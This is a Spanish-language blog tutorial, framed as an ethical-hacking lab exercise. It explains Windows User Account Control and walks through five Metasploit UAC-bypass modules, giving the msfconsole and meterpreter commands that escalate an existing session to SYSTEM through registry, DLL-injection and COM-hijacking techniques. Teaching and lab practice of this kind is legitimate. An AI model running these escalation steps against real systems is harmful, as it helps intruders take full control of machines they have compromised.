Múltiples formas de evitar UAC usando Metasploit

August 30th, 2019 Posted by Blog 0 thoughts on “Múltiples formas de evitar UAC usando Metasploit”

En esta publicación, empezaremos resolviendo algunas dudas y luego realizaremos una práctica. Si eres de los amantes de la seguridad informática, ya debes tener un lab para hacer tus pruebas ya sea local o remoto; te recomiendo usar virtual box y por lo menos tener una máquina con Linux Ubuntu y otra con Windows 7 u 8.1, como mínimo.

¿Qué es el Control de cuentas de usuario?

El Control de cuentas de usuario (UAC-User Access Control) es un componente fundamental de la visión global de seguridad de Microsoft;  UAC te ayuda a mitigar el impacto de cualquier malware.

Dicho de otra manera, es una característica de seguridad de Windows, que permite evitar modificaciones no autorizadas en el sistema operativo; UAC se asegura de que ciertos cambios se realicen sólo con la autorización del administrador.

En la siguiente parte tenemos una lista de técnicas que podemos usar para lograr nuestro objetivo las cuales se encuentran disponibles en Metasploit, no te preocupes si aún no conoces estas herramientas.

  1. Windows Escalate UAC Protection Bypass
  2. Windows Escalate UAC Protection Bypass (Inyección de memoria)
  3. Omisión de protección de Windows UAC (a través de la clave de registro FodHelper)
  4. Windows Escalate UAC Protection Bypass (a través de la clave de registro Eventvwr)
  5. Windows Escalate UAC Protection Bypass (a través del secuestrador de controladores COM)

¿Cómo funciona UAC?

UAC funciona evitando que un programa realice tareas que impliquen cambios en el sistema / tareas específicas. Las operaciones no funcionarán, a menos que el proceso que intenta llevarlas a cabo se ejecute con privilegios de administrador. Si ejecuta un programa como administrador, tendrá más privilegios ya que sería “elevado”, en comparación con los programas en ejecución que no se ejecutan como administrador.

Algunas tareas que no se pueden hacer sin derechos de administrador:

  • Modificaciones de registro: una clave de registro debajo de, por ejemplo, HKEY_LOCAL_MACHINE (ya que afecta a más de un usuario) será de solo lectura.
  • Cargar un controlador de dispositivo
  • Inyección DLL
  • Modificación de la hora del sistema (reloj)
  • Modificación de la configuración del Control de cuentas de usuario (a través del Registro, se puede habilitar / deshabilitar pero necesita los privilegios correctos para hacerlo)
  • Modificar directorios protegidos (por ejemplo, carpeta de Windows, archivos de programa)
  • Tareas programadas (por ejemplo, para iniciar automáticamente con privilegios de administrador)

UAC no solo bloqueará automáticamente el software malicioso, el propósito no fue determinar si un programa es malicioso o no. Todo depende del usuario. Si un programa se va a ejecutar con privilegios de administrador, el usuario recibirá una alerta y deberá proporcionar una confirmación.

Pruebas de laboratorio

Lo primero que tenemos que hacer es obtener la sesión de meterpreter como se muestra en la siguiente imagen.

Luego de eso escriba el siguiente comando para verificar la autoridad y los privilegios del sistema.

meterpreter> getsystem
meterpreter> getuid

Si no tiene las autorizaciones y privilegios del sistema / administrador,  debe evitar la Protección UAC del sistema de destino.

use exploit/windows/local/bypassuac

Este módulo omitirá Windows UAC utilizando el certificado de editor de confianza a través de la inyección de proceso. Generará un segundo shell que tiene la bandera de UAC desactivada.

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit windows/local/bypassuac) > exploit
msf exploit windows/local/bypassuac) > sessions -i

Ahora escribe el siguiente comando para determinar los privilegios de autoridad del sistema.

meterpreter> getsystem
meterpreter> getuid
Aquí tenemos NT AUTHORITY \ SYSTEM Privilege; ahora, si escribe el comando “shell”, obtendrá acceso al símbolo del sistema con privilegios de administrador.

use exploit/windows/local/bypassuac_injection

Este módulo omitirá Windows UAC utilizando el certificado de editor de confianza a través de la inyección de proceso. Generará un segundo shell que tiene la bandera de UAC desactivada. Este módulo utiliza la técnica de inyección reflectante de DLL, para eliminar sólo el binario de carga útil de DLL, en lugar de tres binarios separados en la técnica estándar. Sin embargo, requiere que se seleccione la arquitectura correcta (use también x64 para los sistemas SYSWOW64). Si especifica EXE :: Custom, su DLL debe llamar a ExitProcess () después de iniciar su carga útil en un proceso separado.

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

Desde la imagen dada puede observar que se abrió la  sesión 2 de meterpreter  , ahora escriba el siguiente comando para determinar los privilegios de autoridad del sistema.

meterpreter> getsystem
meterpreter> getuid

use exploit/windows/local/bypassuac_fodhelper

Este módulo omitirá Windows 10 UAC al secuestrar una clave especial en el Registro bajo la sección actual del usuario, e insertando un comando personalizado que se invocará cuando se inicie la aplicación Windows fodhelper.exe; esto generará un segundo shell que tiene la bandera de UAC desactivada. Este módulo modifica una clave de registro pero limpia la clave una vez que se ha invocado la carga útil. El módulo no requiere que la arquitectura de la carga útil coincida con el sistema operativo. Si especifica EXE :: Custom, su DLL debe llamar a ExitProcess () después de iniciar su carga útil en un proceso separado.

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

Ahora escriba el siguiente comando para determinar los privilegios de autoridad del sistema.

meterpreter> getsystem
meterpreter> getuid

Ahora si escribe el comando “shell”, obtendrá acceso al símbolo del sistema con privilegio de administrador.

use exploit/windows/local/bypassuac_eventvwr

Este módulo omitirá el UAC de Windows secuestrando una clave especial en el Registro bajo la sección actual del usuario e insertando un comando personalizado que se invocará cuando se inicie el Visor de eventos de Windows. Generará un segundo shell que tiene la bandera de UAC desactivada. Este módulo modifica una clave de registro, pero limpia la clave una vez que se ha invocado la carga útil. El módulo no requiere que la arquitectura de la carga útil coincida con el sistema operativo. Si especifica EXE :: Custom, su DLL debe llamar a ExitProcess () después de iniciar su carga útil en un proceso separado.

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

ahora escriba el siguiente comando para determinar los privilegios de autoridad del sistema.

meterpreter> getsystem
meterpreter> getuid

use exploit/windows/local/bypassuac_comhijack

Este módulo omitirá Windows UAC al crear entradas de registro del controlador COM en la sección HKCU.Cuando se cargan ciertos procesos de alta integridad, se hace referencia a estas entradas del registro, lo que da como resultado que el proceso cargue archivos DLL controlados por el usuario. Estas DLL contienen las cargas útiles que resultan en sesiones elevadas. Las modificaciones de la clave del registro se limpian después de la invocación de la carga útil. Este módulo requiere que la arquitectura de la carga útil coincida con el sistema operativo, pero la arquitectura actual de la sesión de Meterpreter con pocos privilegios puede ser diferente; si especifica EXE :: Custom, su DLL debe llamar a ExitProcess () después de iniciar su carga útil en un proceso separado. Este módulo invoca el binario de destino a través de cmd.exe en el destino. Por lo tanto, si el acceso a cmd.exe está restringido, este módulo no se ejecutará correctamente.

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

Ahora escriba el siguiente comando para determinar los privilegios de autoridad del sistema.

meterpreter> getsystem
meterpreter> getuid

 

Te invito a seguir revisando las publicaciones Infosecaddicts te aseguro que encontraras trucos nuevos que te ayudaran a entender muchas cosas en el mundo de hacking etico.

Referencias:

www.infosecaddicts.com

https://www.offensive-security.com 

https://www.hackingarticles.in

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.